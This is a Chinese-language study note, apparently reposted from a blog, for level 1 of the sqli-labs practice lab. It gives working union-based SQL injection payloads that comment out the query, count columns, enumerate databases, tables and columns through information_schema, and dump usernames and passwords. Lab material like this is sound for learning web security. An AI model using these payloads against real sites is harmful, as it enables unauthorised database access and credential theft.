• url中#號無效，在url中使用%23代替#，或使用兩個減號--代替注釋，注意兩個減號后常根一個加號+，被解析為空格，以注釋掉后面的引號完成閉合

• 字符串中所有字符都可以使用16進制輸入(需要加0x)

• 探測有多少列：localhost/sqli-labs-master/Less-1/?id=1' order by 2--+，通過order by來探測列數

• 利用group_concat來在一行內顯示多個信息

• 探測union注入：localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, 3--+(3列)

• 查詢所有庫名：select group_concat(schema_name) from information_schema.SCHEMATA
  example:localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(schema_name) from information_schema.SCHEMATA)--+

• 查詢security庫中所有表名:select group_concat(table_name) from information_schema.TABLES where table_schema = 'security'
  example:http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(table_name) from information_schema.TABLES where table_schema = 'security')--+

• 查詢user表中所有列名：select group_concat(column_name) from information_schema.columns where table_name = 'users'
  example: http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(column_name) from information_schema.columns where table_name = 'users')--+

• 查詢user表中信息：select group_concat(concat_ws('~', username,password)) from users(使用concat_ws()是為了分割數據，防止數據粘在一起)
  example:http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(concat_ws('~', username,password)) from users)--+

總結

以上是生活随笔為你收集整理的sqli-labs第一关(MySql基础)的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。